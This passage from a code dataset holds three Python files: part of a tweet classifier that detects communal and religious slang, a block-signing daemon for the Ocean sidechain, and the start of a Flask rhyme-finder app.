len(unigram_after)>=3:\n\t\t\t\t\tfor j in range(0,len(unigram_after)-1,1):\n\t\t\t\t\t\ts = unigram_after[j] + ' ' + unigram_after[j+1]\n\t\t\t\t\t\tbigram_after.append(s)\n\n\n\t\t\tfor j in range(i+1,R+1,1):\n\t\t\t\tif SUBJECTIVE.__contains__(trigram[j])==True:\n\t\t\t\t\tif SUBJECTIVE[trigram[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(trigram[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\n\t\t\tfor j in range(0,len(unigram_after),1):\n\t\t\t\tif SUBJECTIVE.__contains__(unigram_after[j])==True:\n\t\t\t\t\tif SUBJECTIVE[unigram_after[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(unigram_after[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\t\t\t# print(str_before, unigram_before, str_after, unigram_after)\n\n\t\t\tfor j in range(0,len(bigram_after),1):\n\t\t\t\tif SUBJECTIVE.__contains__(bigram_after[j])==True:\n\t\t\t\t\tif SUBJECTIVE[bigram_after[j]]==-1:\n\t\t\t\t\t\tflag=1\n\t\t\t\t\t\tbreak\n\t\t\t\telif SLANG.__contains__(bigram_after[j])==True:\n\t\t\t\t\tflag=1\n\t\t\t\t\tbreak\n\t\t\tif flag==1:\n\t\t\t\treturn 1\n\n\treturn 0\n\n##################################\n# return 1 if there is a collocation term in unigrm, bigram or trigram\n##################################\n\ndef getcollocationterm(unigram,bigram,trigram):\n flag = 0\n for u in unigram:\n if A_COLL.__contains__(u)==True:\n flag = 1\n break\n if flag==1:\n return 1\n\n for u in bigram:\n if A_COLL.__contains__(u)==True:\n flag = 1\n break\n if flag==1:\n return 1\n\n for u in trigram:\n if A_COLL.__contains__(u)==True:\n flag = 1\n break\n if flag==1:\n return 1\n\n return 0\n\ndef getreligiouscount(unigram):\n flag = 0\n for u in unigram:\n if RELIGION.__contains__(u)==True:\n flag+=1\n if flag>2:\n return 1\n return 0\n\n\n##################################\n# return 1 if there is a communal term in unigrm, bigram or trigram\n##################################\n\ndef getreligiousterm(unigram,bigram,trigram):\n\tflag = 0\n\tfor u in unigram:\n\t\tif COMMUNAL.__contains__(u)==True:\n\t\t\tv = COMMUNAL[u]\n\t\t\tif v[0]==1:\n\t\t\t\tflag=1\n\t\t\t\tbreak\n\tif flag==1:\n\t\treturn 1\n\t\n\tfor u in bigram:\n\t\tif COMMUNAL.__contains__(u)==True:\n\t\t\tv = COMMUNAL[u]\n\t\t\tif v[0]==1:\n\t\t\t\tflag=1\n\t\t\t\tbreak\n\tif flag==1:\n\t\treturn 1\n\t\n\tfor u in trigram:\n\t\tif COMMUNAL.__contains__(u)==True:\n\t\t\tv = COMMUNAL[u]\n\t\t\tif v[0]==1:\n\t\t\t\tflag=1\n\t\t\t\tbreak\n\tif flag==1:\n\t\treturn 1\n\n\tfor u in unigram:\n\t\tif RELIGION.__contains__(u)==True:\n\t\t\treturn 1\n\treturn 0\n\n##################################\n# return 1 if there is a slang in tweet\n##################################\n\ndef getslang(unigram,bigram,trigram):\n\tfor u in unigram:\n\t\tif SLANG.__contains__(u)==True:\n\t\t\treturn 1\n\n\tfor u in bigram:\n\t\tif SLANG.__contains__(u)==True:\n\t\t\treturn 1\n\t\n\tfor u in trigram:\n\t\tif SLANG.__contains__(u)==True:\n\t\t\treturn 1\n\treturn 0\n\n##################################\n# return 1 if there is a communal hashtag in tweet\n##################################\n\ndef getcommunalhashtag(unigram):\n\tfor u in unigram:\n\t\tif HASHTAG.__contains__(u)==True:\n\t\t\treturn 1\n\treturn 0\n\n\n######################## LOAD DICTIONARIES ##############################\n\nRead_Files()\n\n#########################################################################\n\ndef classify(tweets,users, class_label,disaster):\n\n\ttok = Tokenizer(preserve_case=False)\n\n\tif HASHTAG.__contains__('soulvultures')==True:\n\t\tprint('Yes')\n\n\ttagreject = ['U','@','#','~','E','~',',']\n\n\tfo = open('temp.txt','w')\n\n\tfor t in tweets:\n\t\tfo.write(t.strip(' \\t\\n\\r') + '\\n')\n\t# nepal_class_label.append(int(wl[4].strip('\\t\\n\\r')))\n\t# nepal_tweets.append(wl[3].strip(' \\t\\n\\r'))\n\t# nepal_sub_feature.append((TT[wl[1].strip(' \\t\\n\\r')],UB[wl[2].strip(' \\t\\n\\r')],UT[wl[2].strip(' \\t\\n\\r')]))\n\n\t# fp.close()\n\tfo.close()\n\n\tcommand = Tagger_Path + './runTagger.sh --output-format conll temp.txt > tag.txt'\n\tos.system(command)\n\n\tfp = open('tag.txt','r')\n\ts = ''\n\th = 0\n\tcount = 0\n\tii = 0\n\tfeature = []\n\tfor l in fp:\n\t\twl = l.split('\\t')\n\t\tif len(wl)>1:\n\t\t\tword = wl[0].strip(' #\\t\\n\\r').lower()\n\t\t\ttag = wl[1].strip(' \\t\\n\\r')\n\t\t\tif tag not in tagreject:\n\t\t\t\tif tag=='N':\n\t\t\t\t\tw = lmtzr.lemmatize(word)\n\t\t\t\t\tword = w\n\t\t\t\telif tag=='V':\n\t\t\t\t\ttry:\n\t\t\t\t\t\tw = Word(word)\t\t# ???\n\t\t\t\t\t\tx = w.lemmatize(\"v\")\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tx = word\n\t\t\t\t\tword = x.lower()\n\t\t\t\telse:\n\t\t\t\t\tpass\n\t\t\t\ts = s + word + ' '\n\t\t\t\tif HASHTAG.__contains__(word)==True:\n\t\t\t\t\th = 1\n\t\t\telse:\n\t\t\t\tif HASHTAG.__contains__(word)==True:\n\t\t\t\t\th = 1\n\t\telse:\n\t\t\t# testimonial = TextBlob(s.strip(' '))\n\t\t\t# vs = vaderSentiment(s)\n\t\t\tunigram = list(tok.tokenize(s.strip(' ')))\n\t\t\tbigram = []\n\t\t\tif len(unigram)>=2:\n\t\t\t\tfor i in range(0,len(unigram)-1,1):\n\t\t\t\t\ts = unigram[i] + ' ' + unigram[i+1]\n\t\t\t\t\tbigram.append(s)\n\n\t\t\ttrigram = []\n\t\t\tif len(unigram)>=3:\n\t\t\t\tfor i in range(0,len(unigram)-2,1):\n\t\t\t\t\ts = unigram[i] + ' ' + unigram[i+1] + ' ' + unigram[i+2]\n\t\t\t\t\ttrigram.append(s)\n\n\t\t\t# print(trigram)\n\n\t\t\tNEG_SUBJ = getnegativesubjective(unigram)\n\t\t\tREL_TERM = getreligiousterm(unigram,bigram,trigram)\n\t\t\tCOM_SLNG = getcommunalslang(unigram,bigram,trigram)\n\t\t\tSLNG = getslang(unigram,bigram,trigram)\n\t\t\tREL_SLNG = get_religious_slang(unigram,bigram,trigram)\n\n\t\t\t# t = (REL_TERM, SLNG, REL_SLNG, COM_SLNG, h)\n\t\t\t# t = (REL_SLNG,COM_SLNG,h)\n\t\t\t# neu = 0\n\t\t\t# neg = 0\n\t\t\t# if vs['neu'] > 0.5:\n\t\t\t# \tneu = 1\n\t\t\t# if vs['neg'] >0.3:\n\t\t\t# \tneg = 1\n\t\t\t\t# print(vs)\n\t\t\torig_tweet = tweets[ii]\n\n\t\t\tA_HASH_PRES = 0\n\t\t\tfor elem in A_HASH:\n\t\t\t\t# print(elem)\n\t\t\t\tif elem in orig_tweet.strip().lower():\n\t\t\t\t\t# print(orig_tweet,elem,t)\n\t\t\t\t\tA_HASH_PRES = 1\n\t\t\t\t\tbreak\n\t\t\t# if orig_tweet == \"Nature strikes again, woke up to the news of #NepalEarthquake Thoughts, prayers are w those affected, sad to see religions dragged into this\":\n\t\t\t# \tprint(orig_tweet)\n\n\t\t\tA_COLL_PRES = 0\n\t\t\tfor elem in A_COLL:\n\t\t\t\tif elem in orig_tweet.strip().lower():\n\t\t\t\t\tA_COLL_PRES = 1\n\t\t\t\t\t# print(orig_tweet,elem,t)\n\t\t\t\t\tbreak\n\n\t\t\t# comm_bin = 0\n\t\t\t# if(users[ii][0]>0.3):\n\t\t\t# \tcomm_bin = 1\n\n\t\t\tCOM_SET = 0\n\t\t\tif User_Dict[users[ii]][0]>=0.20 and User_Dict[users[ii]][3]>=100:\n\t\t\t\tCOM_SET\t= 1\n\t\t\t#if User_Dict[users[ii]][3]>=200:\n\t\t\t#\tCOM_SET = 1\n\t\t\t#t = (REL_SLNG,COM_SLNG,h,COM_SET)\n\t\t\t#t = (REL_SLNG,COM_SLNG,h, round(User_Dict[users[ii]][0],2), round(User_Dict[users[ii]][1],2))\n\t\t\t#t = (REL_TERM,SLNG,COM_SLNG,h,round(User_Dict[users[ii]][0],2))\n\t\t\t#t = (REL_TERM,SLNG,COM_SLNG,h)\n\t\t\tt = (REL_SLNG,COM_SLNG,h)\n\t\t\t#t = (REL_TERM,SLNG,REL_SLNG,COM_SLNG,h,round(User_Dict[users[ii]][0],2), round(User_Dict[users[ii]][1],2))\n\t\t\t#t = (REL_TERM,SLNG,COM_SLNG,h,round(User_Dict[users[ii]][0],2)*COM_SET)\n\t\t\t#t = (REL_SLNG,COM_SLNG,h,round(User_Dict[users[ii]][0],2)*COM_SET)\n\t\t\tfeature.append(t)\n\t\t\ts = ''\n\t\t\th = 0\n\t\t\tcount+=1\n\t\t\tii+=1\n\n\tfp.close()\n\n\tclf = svm.SVC(kernel='rbf',gamma=0.5,probability=True)\n\tclf.fit(feature,class_label)\n\tT = (clf,feature,class_label)\n\treturn T\n\t#scores = cross_validation.cross_val_score(clf,feature,class_label,cv=10)\n\t#print(disaster,'CrossValidation: ',scores.mean(),scores.std())\n\n\ndef main(fn,ofname):\n\n\ttok = Tokenizer(preserve_case=False)\n\ttagreject = ['U','@','#','~','E','~',',']\n\tfp = open(fn,'r')\n\tfo = open('temp.txt','w')\n\t# nepal_class_label = []\n\ttweets = []\n\t# np_tweets = []\n\t# nepal_sub_feature = []\n\tcnt = 0\n\tfor l in fp:\n\t\twl = l.strip().split('\\t')\n\t\tif wl[-1].strip() == \"2\":\n\t\t\tfo.write(wl[3].strip(' \\t\\n\\r').lower() + '\\n')\n\t\t# cnt+=1\n\t\t# if cnt>=10000:\n\t\t# \tbreak\n\t\t# nepal_class_label.append(int(wl[4].strip('\\t\\n\\r')))\n\t\t# tweets.append(wl[3].strip(' \\t\\n\\r'))\n\t\t# nepal_sub_feature.append((TT[wl[1].strip(' \\t\\n\\r')],UB[wl[2].strip(' \\t\\n\\r')],UT[wl[2].strip(' \\t\\n\\r')]))\n\tfp.close()\n\tfo.close()\n\t\n\tcommand = Tagger_Path + './runTagger.sh --output-format conll temp.txt > tag.txt'\n\tos.system(command)\n \n\tfp = open('tag.txt','r')\n\n\tfs = open(fn,'r')\n\ts = ''\n\th = 0\n\tfeature = []\n\tlabel = []\n\tOUTPUT = []\n\tfor l in fp:\n\t wl = l.split('\\t')\n\t if len(wl)>1:\n\t word = wl[0].strip(' #\\t\\n\\r').lower()\n\t tag = wl[1].strip(' \\t\\n\\r')\n\t if tag not in tagreject:\n\t if tag=='N':\n\t try:\n\t w = lmtzr.lemmatize(word)\n\t word = w\n\t except Exception as e:\n\t pass\n\t elif tag=='V':\n\t try:\n\t w = Word(word)\n\t x = w.lemmatize(\"v\")\n\t except Exception as e:\n\t x = word\n\t word = x.lower()\n\t else:\n\t pass\n\t try:\n\t s = s + word + ' '\n\t except Exception as e:\n\t print(word)\n\t if h==0:\n\t if A_HASH.__contains__(word)==True and wl[0].startswith('#')==True:\n\t h = 1\n\t else:\n\t if h==0:\n\t if A_HASH.__contains__(word)==True and wl[0].startswith('#')==True:\n\t h = 1\n\t else:\n\n\t unigram = list(tok.tokenize(s.strip(' ')))\n\t bigram = []\n\t if len(unigram)>=2:\n\t for i in range(0,len(unigram)-1,1):\n\t s = unigram[i] + ' ' + unigram[i+1]\n\t bigram.append(s)\n\t trigram = []\n\t if len(unigram)>=3:\n\t for i in range(0,len(unigram)-2,1):\n\t s = unigram[i] + ' ' + unigram[i+1] + ' ' + unigram[i+2]\n\t trigram.append(s)\n\t NEG_SUBJ = getnegativesubjective(unigram)\n\t REL_TERM = getreligiousterm(unigram,bigram,trigram)\n\t REL_COUNT = getreligiouscount(unigram)\n\t COM_SLNG = getcommunalslang(unigram,bigram,trigram)\n\t COL_TERM = getcollocationterm(unigram,bigram,trigram)\n\t SLNG = getslang(unigram,bigram,trigram)\n\t REL_SLNG = get_religious_slang(unigram,bigram,trigram)\n\t XL = fs.readline().split('\\t')\n\t if int(XL[-1])==\"1\":\n\t \tOUTPUT.append((XL,1))\n\t else:\n\t \tif COL_TERM==1 or h==1 or REL_COUNT==1:\n\t \t\tOUTPUT.append((XL,3))\n\t \telse:\n\t \t\tOUTPUT.append((XL,2))\n\t \t#t = (REL_TERM,SLNG,COM_SLNG,h)\n\t\t\t\t\t\t#feature.append(t)\n\t\t\t\t\t\t#if (REL_TERM==1 and SLNG==1) or COM_SLNG==1 or h==1:\n\t\t\t\t\t\t#if REL_SLNG==1 or COM_SLNG==1 or h==1:\n\t\t\t\t\t\t#\tlabel.append(1)\n\t\t\t\t\t\t#else:\n\t\t\t\t\t\t#\tlabel.append(2)\n\t s = ''\n\t h = 0\n\tfp.close()\n\tfs.close()\n\n\tfo = open(ofname,'w')\n\tfor i in range(0,len(OUTPUT),1):\n\t\ts = OUTPUT[i][0][0].strip(' \\t\\n\\r') + '\\t' + OUTPUT[i][0][1].strip(' \\t\\n\\r') + '\\t' + OUTPUT[i][0][2].strip(' \\t\\n\\r') + '\\t' + OUTPUT[i][0][3].strip(' \\t\\n\\r') + '\\t' + str(OUTPUT[i][1])\n\t\tfo.write(s+'\\n')\n\tfo.close()\n\t# print('Complete Future Event')\n\nif __name__ == \"__main__\":\n\ttry:\n\t\t_, fn, ofname = sys.argv\n\texcept Exception as e:\n\t\tsys.exit(0)\n\t\n\tfinal_string = \"\"\n\tif os.path.isfile(ofname):\n\t\tfile = codecs.open(ofname, 'r', 'utf-8')\n\t\tfor row in file:\n\t\t\ts = row.strip().split('\\t')\n\t\t\tif s[-1] == \"3\":\n\t\t\t\tfinal_string = final_string+s[2]+'\\t'+s[3]+'##################'\n\n\telse:\n\t\tmain(fn,ofname)\n\t\tfile = codecs.open(ofname, 'r', 'utf-8')\n\t\tfor row in file:\n\t\t\ts = row.strip().split('\\t')\n\t\t\tif s[-1] == \"3\":\n\t\t\t\tfinal_string = final_string+s[2]+'\\t'+s[3]+'##################'\n\n\tprint(final_string)","sub_path":"dis_app/TwoClass_anti_Rule_Classifier.py","file_name":"TwoClass_anti_Rule_Classifier.py","file_ext":"py","file_size_in_byte":24601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"79456561","text":"#!/usr/bin/env python3\nfrom time import sleep, time\nfrom hashlib import sha256 as _sha256\nfrom .daemon import DaemonThread\nfrom .test_framework.authproxy import JSONRPCException\nfrom .messenger_factory import MessengerFactory\nfrom .connectivity import getoceand\n\nclass BlockSigning(DaemonThread):\n def __init__(self, ocean_conf, messenger_type, nodes, my_id, block_time, in_rate, in_period, in_address, script, signer=None):\n super().__init__()\n self.ocean_conf = ocean_conf\n self.ocean = getoceand(self.ocean_conf)\n self.interval = block_time\n self.total = len(nodes)\n self.my_id = my_id % self.total\n self.messenger = MessengerFactory.get_messenger(messenger_type, nodes, self.my_id)\n self.rate = in_rate\n self.period = in_period\n self.address = in_address\n self.script = script\n self.signer = signer\n if in_rate > 0:\n try:\n self.ocean.importprivkey(ocean_conf[\"reissuanceprivkey\"])\n except Exception as e:\n print(\"{}\\nFailed to import reissuance private key\".format(e))\n self.stop_event.set()\n self.riprivk = []\n self.riprivk.append(ocean_conf[\"reissuanceprivkey\"])\n try:\n p2sh = self.ocean.decodescript(script)\n except Exception as e:\n print(\"{}\\nFailed to decode reissuance script\".format(e))\n self.stop_event.set()\n self.p2sh = p2sh[\"p2sh\"]\n self.nsigs = p2sh[\"reqSigs\"]\n self.ocean.importaddress(self.p2sh)\n validate = self.ocean.validateaddress(self.p2sh)\n self.scriptpk = validate[\"scriptPubKey\"]\n\n def run(self):\n while not self.stop_event.is_set():\n sleep(self.interval - time() % self.interval)\n start_time = int(time())\n step = int(time()) % (self.interval * self.total) / self.interval\n\n print(\"step: \"+str(step))\n\n height = self.get_blockcount()\n if height == None:\n print(\"could not connect to ocean client\")\n continue\n\n if self.my_id != int(step):\n # NOT OUR TURN - GET BLOCK AND SEND SIGNATURE ONLY\n print(\"node {} - consumer\".format(self.my_id))\n\n new_block = None\n while new_block == None:\n if (time() - start_time) >= (self.interval / 3): # time limit to get block\n break\n new_block = self.messenger.consume_block(height)\n\n if new_block == None:\n print(\"could not get latest suggested block\")\n self.messenger.reconnect()\n continue\n\n sig = {}\n sig[\"blocksig\"] = self.get_blocksig(new_block[\"blockhex\"])\n if sig[\"blocksig\"] == None:\n print(\"could not sign new block\")\n continue\n\n #if reissuance step, also recieve reissuance transactions\n if self.rate > 0:\n if height % self.period == 0 and height != 0:\n sig[\"txsigs\"] = self.get_tx_signatures(new_block[\"txs\"], height, True)\n sig[\"id\"] = self.my_id\n if sig[\"txsigs\"] == None:\n print(\"could not sign reissuance txs\")\n continue\n\n self.messenger.produce_sig(sig, height + 1)\n elapsed_time = time() - start_time\n sleep(self.interval / 2 - (elapsed_time if elapsed_time < self.interval / 2 else 0))\n else:\n # OUR TURN - FIRST SEND NEW BLOCK HEX\n print(\"blockcount:{}\".format(height))\n print(\"node {} - producer\".format(self.my_id))\n\n block = {}\n block[\"blockhex\"] = self.get_newblockhex()\n if block[\"blockhex\"] == None:\n print(\"could not generate new block hex\")\n continue\n #if reissuance step, create raw reissuance transactions\n if self.rate > 0:\n if height % self.period == 0 and height != 0:\n block[\"txs\"] = self.get_reissuance_txs(height)\n if block[\"txs\"] == None:\n print(\"could not create reissuance txs\")\n continue\n\n self.messenger.produce_block(block, height + 1)\n elapsed_time = time() - start_time\n sleep(self.interval / 2 - (elapsed_time if elapsed_time < self.interval / 2 else 0))\n\n # THEN COLLECT SIGNATURES AND SUBMIT BLOCK\n sigs = self.messenger.consume_sigs(height)\n if len(sigs) == 0: # replace with numOfSigs - 1 ??\n print(\"could not get new block sigs\")\n self.messenger.reconnect()\n continue\n if self.rate > 0:\n if height % self.period == 0 and height != 0:\n txsigs = [None] * self.total\n for sig in sigs:\n txsigs[sig[\"id\"]] = sig[\"txsigs\"]\n #add sigs for this node\n mysigs = self.get_tx_signatures(block[\"txs\"], height, False)\n txsigs[self.my_id] = mysigs\n signed_txs = self.combine_tx_signatures(block[\"txs\"],txsigs)\n send = self.send_reissuance_txs(signed_txs)\n if not send:\n print(\"could not send reissuance transactions\")\n continue\n blocksigs = []\n for sig in sigs:\n blocksigs.append(sig[\"blocksig\"])\n self.generate_signed_block(block[\"blockhex\"], blocksigs)\n\n def get_blockcount(self):\n try:\n return self.ocean.getblockcount()\n except Exception as e:\n print(\"{}\\nReconnecting to client...\".format(e))\n self.ocean = getoceand(self.ocean_conf)\n return None\n\n def get_newblockhex(self):\n try:\n return self.ocean.getnewblockhex()\n except Exception as e:\n print(\"{}\\nReconnecting to client...\".format(e))\n self.ocean = getoceand(self.ocean_conf)\n return None\n\n def get_blocksig(self, block):\n try:\n # hsm block signer\n if self.signer is not None:\n # get block header bytes excluding last byte (Ocean SER_HASH BlockHeader)\n block_header_bytes = get_header(bytes.fromhex(block))\n block_header_for_hash_bytes = block_header_bytes[:len(block_header_bytes)-1]\n\n # sign the hashed (once not twice) block header bytes\n sig = self.signer.sign(sha256(block_header_for_hash_bytes))\n\n # turn sig into scriptsig format\n return \"00{:02x}{}\".format(len(sig), sig.hex())\n\n return self.ocean.signblock(block)\n except Exception as e:\n print(\"{}\\nReconnecting to client...\".format(e))\n self.ocean = getoceand(self.ocean_conf)\n return None\n\n def generate_signed_block(self, block, sigs):\n try:\n sigs.append(self.get_blocksig(block))\n blockresult = self.ocean.combineblocksigs(block, sigs)\n signedblock = blockresult[\"hex\"]\n self.ocean.submitblock(signedblock)\n print(\"node {} - submitted block {}\".format(self.my_id, signedblock))\n except Exception as e:\n print(\"failed signing: {}\".format(e))\n\n def get_reissuance_txs(self, height):\n try:\n token_addr = self.p2sh\n raw_transactions = []\n #retrieve the token report for re-issuing\n utxorep = self.ocean.getutxoassetinfo()\n #get the reissuance tokens from wallet\n unspentlist = self.ocean.listunspent()\n for unspent in unspentlist:\n #re-issuance and policy tokens have issued amount over 100 as a convention\n if \"address\" in unspent:\n if unspent[\"address\"] == token_addr and unspent[\"amount\"] > 99.0:\n #find the reissuance details and amounts\n for entry in utxorep:\n if entry[\"token\"] == unspent[\"asset\"]:\n amount_spendable = float(entry[\"amountspendable\"])\n amount_frozen = float(entry[\"amountfrozen\"])\n asset = entry[\"asset\"]\n entropy = entry[\"entropy\"]\n break\n #the spendable amount needs to be inflated over a period of 1 hour\n total_reissue = amount_spendable*(1.0+float(self.rate))**(1.0/(24*365))-amount_spendable\n #check to see if there are any assets unfrozen in the last interval\n amount_unfrozen = 0.0\n frzhist = self.ocean.getfreezehistory()\n for frzout in frzhist:\n if frzout[\"asset\"] == asset:\n if frzout[\"end\"] != 0 and frzout[\"end\"] > height - self.period:\n backdate = height - frzout[\"start\"]\n elapsed_interval = backdate // self.period\n print(\"elapsed_interval: \"+str(elapsed_interval))\n amount_unfrozen = float(frzout[\"value\"])\n total_reissue += amount_unfrozen*(1.0+float(self.rate))**(elapsed_interval/(24*365))-amount_unfrozen\n print(\"backdate reissue: \"+ str(total_reissue))\n print(\"Reissue asset \"+asset+\" by \"+str(\"%.8f\" % total_reissue))\n tx = self.ocean.createrawreissuance(self.address,str(\"%.8f\" % total_reissue),token_addr,str(unspent[\"amount\"]),unspent[\"txid\"],str(unspent[\"vout\"]),entropy)\n tx[\"token\"] = unspent[\"asset\"]\n tx[\"txid\"] = unspent[\"txid\"]\n tx[\"vout\"] = unspent[\"vout\"]\n raw_transactions.append(tx)\n return raw_transactions\n except Exception as e:\n print(\"failed tx signing: {}\".format(e))\n return None\n\n def check_reissuance(self, transactions, height):\n try:\n mytransactions = self.get_reissuance_txs(height)\n if mytransactions == transactions:\n return True\n else:\n return False\n except Exception as e:\n print(\"failed tx checking: {}\".format(e))\n return False\n\n def get_tx_signatures(self, transactions, height, check):\n try:\n signatures = []\n if not check or self.check_reissuance(transactions, height):\n for tx in transactions:\n inpts = []\n inpt = {}\n inpt[\"txid\"] = tx[\"txid\"]\n inpt[\"vout\"] = tx[\"vout\"]\n inpt[\"scriptPubKey\"] = self.scriptpk\n inpt[\"redeemScript\"] = self.script\n inpts.append(inpt)\n signedtx = self.ocean.signrawtransaction(tx[\"hex\"],inpts,self.riprivk)\n sig = \"\"\n scriptsig = signedtx[\"errors\"][0][\"scriptSig\"]\n ln = int(scriptsig[2:4],16)\n if ln > 0: sig = scriptsig[2:4] + scriptsig[4:4+2*ln]\n signatures.append(sig)\n else:\n print(\"reissuance tx error, node: {}\".format(self.my_id))\n return signatures\n except Exception as e:\n print(\"failed tx signing: {}\".format(e))\n return None\n\n def int_to_pushdata(self,x):\n x = int(x)\n if x < 253:\n return \"{:02x}\".format(x)\n else:\n le = \"{:04x}\".format(x)\n be = \"\".join([le[x:x+2] for x in range(0,len(le),2)][::-1])\n return \"fd\"+be\n\n def combine_tx_signatures(self, transactions, signatures):\n try:\n itr_tx = 0\n for tx in transactions:\n mtx_p = tx[\"hex\"][0:84]\n mtx_s = tx[\"hex\"][86:]\n sigs = []\n #for each tx, get the signatures\n for itr in range(len(signatures)):\n try:\n sig = signatures[itr][itr_tx]\n sigs.append(sig)\n if len(sigs) == self.nsigs: break\n except:\n print(\"missing node {} signatures\".format(itr))\n scriptsig = \"00\"\n if len(sigs) != self.nsigs:\n print(\"error: insufficient sigs for tx {}\".format(itr_tx))\n else:\n #concatenate sigs\n for s in sigs:\n scriptsig += s\n #add the redeem script\n rsln = len(self.script)//2\n lnh = hex(rsln)\n scriptsig += \"4c\" + lnh[2:] + self.script\n sslh = self.int_to_pushdata(len(scriptsig)//2)\n tx[\"hex\"] = mtx_p + sslh + scriptsig + mtx_s\n itr_tx += 1\n return transactions\n except Exception as e:\n print(\"failed signature combination: {}\".format(e))\n\n def send_reissuance_txs(self, transactions):\n try:\n for tx in transactions:\n txid = self.ocean.sendrawtransaction(tx[\"hex\"])\n return True\n except Exception as e:\n print(\"failed tx sending: {}\".format(e))\n return False\n\nOCEAN_BASE_HEADER_SIZE = 172\n\ndef header_hash(block):\n challenge_size = block[OCEAN_BASE_HEADER_SIZE]\n header_without_proof = block[:OCEAN_BASE_HEADER_SIZE+1+challenge_size]\n return double_sha256(header_without_proof)\n\ndef get_header(block):\n challenge_size = block[OCEAN_BASE_HEADER_SIZE]\n proof_size = block[OCEAN_BASE_HEADER_SIZE+1+challenge_size]\n return block[:OCEAN_BASE_HEADER_SIZE+1+challenge_size+1+proof_size]\n\ndef sha256(x):\n return _sha256(x).digest()\n\ndef double_sha256(x):\n return sha256(sha256(x))\n","sub_path":"federation/blocksigning.py","file_name":"blocksigning.py","file_ext":"py","file_size_in_byte":14550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"411803906","text":"from flask import *\nfrom functools import wraps\nimport re, pprint, ast, random\napp = Flask(__name__)\n\n#import pdb\n\napp.secret_key = 'something unique and secret'\n\n\nsubRegex = re.compile(r'\\d')\n\nprettyRegex = re.compile(r'\\(\\d\\)')\n\nstripPattern4 = r'\\w*\\d? \\w*\\d? \\w*\\d? \\w*\\d?$'\nstripPattern3 = r'\\w*\\d? \\w*\\d? \\w*\\d?$'\nstripPattern2 = r'\\w*\\d? \\w*\\d?$'\nstripPattern1 = r'\\w*\\d?$'\n\ntempRegex4 = re.compile(stripPattern4)\ntempRegex3 = re.compile(stripPattern3)\ntempRegex2 = re.compile(stripPattern2)\ntempRegex1 = re.compile(stripPattern1)\n\nwordPronDictFile = open('/home/joewand/mysite/wordPronDictFile.txt', 'r')\nwordPronDict = wordPronDictFile.read()\nwordPronDict = ast.literal_eval(wordPronDict)\nwordPronDictFile.close()\n\nwordPronSyllDictFile = open('/home/joewand/mysite/wordPronSyllDictFile.txt', 'r')\nwordPronSyllDict = wordPronSyllDictFile.read()\nwordPronSyllDict = ast.literal_eval(wordPronSyllDict)\nwordPronSyllDictFile.close()\n\npronWordDict4File = open('/home/joewand/mysite/pronWordDict4File.txt', 'r')\npronWordDict4 = pronWordDict4File.read()\npronWordDict4 = ast.literal_eval(pronWordDict4)\npronWordDict4File.close()\n\npronWordDict3File = open('/home/joewand/mysite/pronWordDict3File.txt', 'r')\npronWordDict3 = pronWordDict3File.read()\npronWordDict3 = ast.literal_eval(pronWordDict3)\npronWordDict3File.close()\n\npronWordDict2File = open('/home/joewand/mysite/pronWordDict2File.txt', 'r')\npronWordDict2 = pronWordDict2File.read()\npronWordDict2 = ast.literal_eval(pronWordDict2)\npronWordDict2File.close()\n\npronWordDict1File = open('/home/joewand/mysite/pronWordDict1File.txt', 'r')\npronWordDict1 = pronWordDict1File.read()\npronWordDict1 = ast.literal_eval(pronWordDict1)\npronWordDict1File.close()\n\npronWordDictStress4File = open('/home/joewand/mysite/pronWordDictStress4File.txt', 'r')\npronWordDictStress4 = pronWordDictStress4File.read()\npronWordDictStress4 = ast.literal_eval(pronWordDictStress4)\npronWordDictStress4File.close()\n\npronWordDictStress3File = open('/home/joewand/mysite/pronWordDictStress3File.txt', 'r')\npronWordDictStress3 = pronWordDictStress3File.read()\npronWordDictStress3 = ast.literal_eval(pronWordDictStress3)\npronWordDictStress3File.close()\n\npronWordDictStress2File = open('/home/joewand/mysite/pronWordDictStress2File.txt', 'r')\npronWordDictStress2 = pronWordDictStress2File.read()\npronWordDictStress2 = ast.literal_eval(pronWordDictStress2)\npronWordDictStress2File.close()\n\npronWordDictStress1File = open('/home/joewand/mysite/pronWordDictStress1File.txt', 'r')\npronWordDictStress1 = pronWordDictStress1File.read()\npronWordDictStress1 = ast.literal_eval(pronWordDictStress1)\npronWordDictStress1File.close()\n\nhyphenListFile = open('/home/joewand/mysite/hyphenStringFileEditList.txt', 'r')\nhyphenList = hyphenListFile.read()\nhyphenList = ast.literal_eval(hyphenList)\nhyphenListFile.close()\n\nenable1File = open('/home/joewand/mysite/enable1.txt', 'r')\nenable1List = enable1File.readlines()\nenable1File.close()\nfor i in range(len(enable1List)):\n enable1List[i] = enable1List[i].rstrip()\n enable1List[i] = enable1List[i].upper()\n\n\ndef rhymeSwap(searchString):\n #pdb.set_trace()\n searchStringUp = searchString.upper()\n\n\n\n\n if searchStringUp in wordPronDict.keys():\n #print('In Dict')\n searchPron = wordPronDict[searchStringUp]\n searchStringSyllCount = wordPronSyllDict[searchStringUp][1]\n\n mo4String = ''\n mo3String = ''\n mo2String = ''\n mo1String = ''\n\n mo4StringUnstressed = ''\n mo3StringUnstressed = ''\n mo2StringUnstressed = ''\n mo1StringUnstressed = ''\n\n\n if tempRegex4.search(searchPron) != None:\n mo4String = str(tempRegex4.search(searchPron).group())\n mo4StringUnstressed = subRegex.sub('', mo4String)\n\n if tempRegex3.search(searchPron) != None:\n mo3String = str(tempRegex3.search(searchPron).group())\n mo3StringUnstressed = subRegex.sub('', mo3String)\n\n if tempRegex2.search(searchPron) != None:\n mo2String = str(tempRegex2.search(searchPron).group())\n mo2StringUnstressed = subRegex.sub('', mo2String)\n\n if tempRegex1.search(searchPron) != None:\n mo1String = str(tempRegex1.search(searchPron).group())\n mo1StringUnstressed = subRegex.sub('', mo1String)\n\n rhymeListBig = list()\n\n if mo4String in 